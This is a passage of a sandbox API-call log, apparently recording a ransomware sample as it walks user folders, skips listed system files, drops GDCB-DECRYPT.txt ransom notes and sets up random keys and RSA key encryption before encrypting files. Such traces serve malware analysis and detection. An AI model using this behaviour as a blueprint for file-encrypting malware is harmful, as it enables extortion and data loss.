SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.481] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\\\GDCB-DECRYPT.txt") returned 281 [0170.481] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.481] GetLastError () returned 0x3 [0170.481] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 252 [0170.481] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 252 [0170.481] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 252 [0170.481] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 252 [0170.481] lstrcmpiW (lpString1="IconCache.db", lpString2="desktop.ini") returned 1 [0170.481] lstrcmpiW (lpString1="IconCache.db", lpString2="autorun.inf") returned 1 [0170.481] lstrcmpiW (lpString1="IconCache.db", lpString2="ntuser.dat") returned -1 [0170.481] lstrcmpiW (lpString1="IconCache.db", lpString2="iconcache.db") returned 0 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.482] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\\\GDCB-DECRYPT.txt") returned 267 [0170.482] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.482] GetLastError () returned 0x3 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.482] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\\\GDCB-DECRYPT.txt") returned 276 [0170.482] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.482] GetLastError () returned 0x3 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.482] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\\\GDCB-DECRYPT.txt") returned 276 [0170.482] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.483] GetLastError () returned 0x3 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.483] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\\\GDCB-DECRYPT.txt") returned 279 [0170.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.483] GetLastError () returned 0x3 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.483] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt") returned 279 [0170.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.483] GetLastError () returned 0x3 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.483] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\\\GDCB-DECRYPT.txt") returned 280 [0170.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.483] GetLastError () returned 0x3 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.484] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\\\GDCB-DECRYPT.txt") returned 273 [0170.484] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.484] GetLastError () returned 0x3 [0170.484] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 277 [0170.484] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 277 [0170.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.484] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\\\GDCB-DECRYPT.txt") returned 313 [0170.484] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.484] GetLastError () returned 0x3 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.485] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\\\GDCB-DECRYPT.txt") returned 279 [0170.485] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.485] GetLastError () returned 0x3 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.485] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.487] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\\\GDCB-DECRYPT.txt") returned 273 [0170.487] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.487] GetLastError () returned 0x3 [0170.487] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMDATA64.DAT") returned 269 [0170.487] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMDATA64.DAT") returned 269 [0170.487] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.487] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.487] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.487] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.487] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\\\GDCB-DECRYPT.txt") returned 275 [0170.487] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.487] GetLastError () returned 0x3 [0170.488] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 275 [0170.488] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 275 [0170.488] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 275 [0170.488] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 275 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="desktop.ini") returned 1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="autorun.inf") returned 1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="ntuser.dat") returned -1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="iconcache.db") returned 1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="bootsect.bak") returned 1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="boot.ini") returned 1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="ntuser.dat.log") returned -1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="thumbs.db") returned -1 [0170.488] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.488] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin")) returned 0xffffffff [0170.488] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin", dwFileAttributes=0xfffffffe) returned 0 [0170.488] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0170.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.489] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0170.489] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.489] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0170.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.489] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0170.489] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.489] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0170.491] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f6130) returned 1 [0170.491] CryptGetKeyParam (in: hKey=0x5f6130, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.491] CryptEncrypt (in: hKey=0x5f6130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28d0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x28d0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0170.492] GetLastError () returned 0x0 [0170.492] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.492] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", 